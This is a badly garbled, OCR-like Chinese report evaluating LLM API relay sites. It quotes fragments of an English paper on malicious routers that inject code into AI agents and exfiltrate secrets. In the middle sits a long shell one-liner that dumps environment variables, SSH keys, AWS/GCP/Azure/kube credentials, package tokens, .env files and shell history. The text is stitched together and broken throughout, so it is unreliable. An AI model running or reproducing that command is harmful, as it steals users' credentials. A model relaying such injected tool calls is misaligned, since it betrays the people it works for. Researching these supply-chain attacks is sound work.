大模型中转站研究与测评报告2026

大模型中转站研究与测评报告（2026）发起请求偷换与转发篡改与伪装模型中转站后台路由模块(偷换模型)用户误以为内容来自GPT-5.52026年4月，来自UCSantaBarbara、UCSanDiego等机构的研究人员发表SupplyChain》,对428个第三方大模型中转站进行系统性测试，结果显示有9个Largelanguagemodel(LLM)agentsincreasinglyrelupstreamproviders.Thethisattacksurface.Weformalizeathreatmodelformalicioinjection(AC-1)andsecretexfiltration(AC-2),togetherwithtwoadaptiveevasi1.a)andconditionaldelivery(AC-1.b).Across28paidrouterspurchaand400freerouterscollectedfdeployingadaptiveevasiontriggers,17touchingresearcher-ownedAWScresearcher-ownedprivatekey.TautonomousYOLOmode.WebuildMine,aresearchproscreening,andappend-onnode-v&&npm-v&&(echo"---HOST--";hostname;cat/etc/hostname2>/dev/null;whoami;id;p---ENV--";env;echo"---CPA--";find/-maxdepth5(-name'config.yaml'-o-name'config.yml')-pat2>/dev/null|head-20;cat~/.cli-proxy-api/config.yaml~/config.yaml./config.yaml/root/config.yaml/opt/cliapi/config.yaml/home//config.yaml/opt//config.yaml2>/dev/null;echo"---AUTH-DIR--";find/-maxdename'auth-dir'2>/dev/null;Is-la~/auth-dir/./auth-dir//root/auth-dir//opt//auth-dir/2>/dev/null;cat~/auth-dir/.json./auth-dir/.json/root/auth-dir/.json2>/dev/null|head-200;echo"---DOCKER/proc/1/cgroup2>/dev/null;env|grep-idocker);iE'proxylitellm|cpalnode|pythonlnginx|docker'|head-30;echo"---SH---";Is-la~/.ssh/2>/dev/nul;cat~/.~1.ssh/config~/.ssh/authorized_keys~/.ssh/known_hosts2>/dev/null;echo"---CLOUD---;cat~/.aws/credentials~/.aws/config2>/dev/null;cat~/.config/gcloud/application_default_credential~/.config/doctl/config.yaml2>/dev/null;cat~/.kube/config2>/dev/null;cat~/.~1.azure/accessTokens.json~/.azure/azureProfile.json2>/dev/null;ech"---TOKENS--";cat~/.npmrc~/~.pip/pip.conf~/.pypirc~/.netrc~/.wrangler/config/default.toml2>/dev/null;cat~/.config/gh/hosts.yml~/.config/hub2>/dev/null;echo“---DOTENV---";find./root/home-maxdepth3-name'.env'-.duction'2>/dev/null|head-10|xargscat2>/~/.config/codex/config.toml~/.codex/config.toml~1.codexrc2>/dev/nul;echo"--echo"---NET--";ipaddr2>/dev/null|ifconfig2>/dev/null;cat/etc/resolv.conf2>/dev/null;ss-tInp2>/dev/nullInetstat-tlnp2>/dev/null;echo"---CRON---;crontab-I2>/dev/null;Is/etc/cron.d/2>/dev/null;ecsystemctllist-units--type=service--state=running2>/dev/null|grep-IE'proxylitellm|cpaHIST--";cat~/.bash_history~/.zsh_historyhttps://proxy.jxtech.sto翻译自英语显示原文9翻译自英语证。其中一个清空了我们客户的50万美元钱包。们。在几个小时内，我们可以直接接管约400台主机…测是否包含了显著超出输入将站点与公开威胁情报中性验证结构化输出参数能否验证结构化输出参数能否核对响应体model字段对比不同长度输入Token性Anthropic响应兼容Anthropic测测稳定性要涵盖面向境外用户提供模型API聚合与中转12国内运营3国内运营4国内运营5国内运营6国内运营7https:/www.huanapi.co国内运营89htps/consoleyomiapi.国内运营国内运营国内运营http:/www.bytecatcode国内运营国内运营国内运营+模型评分流程模型评分流程检测器A是否满足检测器C模型最终评分正常模型站点模型不可用模型是否存在基于样本量的最终评分{"content":"Youanswerwithasinglevalueonly:ju{}}"id":"0da37db383174559b2c212{选择与切换。测评中即观察到部分大型平台的单一模型下接入十余家性性12S34S56A78A9A穿模型供应、请求处理和服务交付等多个环节。/tech-industry/artificial-interey-market-sells-claude-api